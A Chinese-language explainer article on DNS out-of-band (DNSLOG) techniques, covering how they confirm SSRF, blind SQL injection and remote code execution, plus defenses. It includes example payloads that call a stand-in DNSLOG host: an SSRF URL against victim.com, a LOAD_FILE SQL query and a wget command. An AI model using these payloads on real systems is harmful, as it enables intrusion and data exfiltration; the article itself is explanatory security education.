什么是DNS外带，它是如何工作的？

DNS外带详细内容

总述

DNS外带是一种网络安全技术，通过将数据嵌入到DNS查询中，以实现对目标系统的信息窃取或漏洞验证，这种方法常用于检测服务器端请求伪造（SSRF）、SQL注入、命令注入等漏洞，本文将详细介绍DNS外带的工作原理、常见场景和防护措施。

利用原理

1、DNSLOG服务：攻击者首先注册或设置一个受控的DNSLOG服务，如ceye.io或dnslog.cn，该服务会记录所有向其域名发起的DNS查询请求。

2、构造请求：在漏洞测试中，攻击者构造一个恶意的HTTP请求或其他输入，其中包含一个独特的DNS记录（如abc123.dnslog.com）。

3、DNS请求触发：当目标服务器执行该恶意请求时，它会尝试访问指定的DNSLOG域名，从而触发DNS查询。

4、记录请求：DNSLOG服务记录下从目标服务器发出的DNS查询请求，攻击者可以通过检查这些记录来验证漏洞的存在并获取相关信息。

常见场景

SSRF（服务器端请求伪造）

描述：攻击者构造请求让服务器访问DNSLOG记录的域名，通过观察是否有DNS查询来确认漏洞。

示例：http://victim.com/?url=http://abc123.dnslog.com

盲注（SQL注入、命令注入等）

描述：在盲注情况下，响应没有明显反馈，攻击者通过包含DNS查询来确认是否执行了注入。

示例：SELECT LOAD_FILE(‘\\abc123.dnslog.com\file.txt’);

远程代码执行（RCE）

描述：在存在远程代码执行漏洞的情况下，攻击者可以构造一个请求，让服务器访问DNSLOG域名，以验证代码执行成功。

示例：wget http://abc123.dnslog.com

条件与步骤举例

前提条件

Windows系统

secure_file_priv为空

ROOT权限

步骤举例

1、获取DNSLOG域名：注册或使用DNSLOG服务，获取专属的DNS域名（如yourdomain.ceye.io）。

2、构造恶意请求：将目标服务的SSRF漏洞点替换为DNSLOG域名。

     http://victim.com/?url=http://yourdomain.ceye.io

3、观察DNSLOG响应：在DNSLOG服务后台查看是否有来自目标服务器的DNS查询记录，如果有，说明目标服务器成功执行了请求，漏洞得以验证。

防护措施

1、禁止内部网络访问：通过防火墙规则阻止服务器对外访问内部IP地址或外部的DNS服务。

2、限制DNS查询：防止服务器查询外部不受信任的域名，或者对DNS查询进行监控。

3、输入验证与过滤：对用户输入进行严格的验证和过滤，避免存在SSRF等漏洞的输入被利用。

DNS外带技术通过利用DNS解析请求来确认漏洞的存在和执行结果，能够有效检测SSRF、盲注、RCE等漏洞，这种技术也可能被攻击者用于信息窃取，需要对外部请求进行严格限制，并加强对服务器网络访问的监控与防护。

相关问题与解答

问题1：什么是DNS外带？

回答：DNS外带是一种网络安全技术，通过将数据嵌入到DNS查询中，以实现对目标系统的信息窃取或漏洞验证，这种方法常用于检测服务器端请求伪造（SSRF）、SQL注入、命令注入等漏洞。

问题2：如何防范DNS外带攻击？

回答：防范DNS外带攻击的措施包括：禁止内部网络访问外部DNS服务、限制服务器查询外部不受信任的域名、对用户输入进行严格的验证和过滤。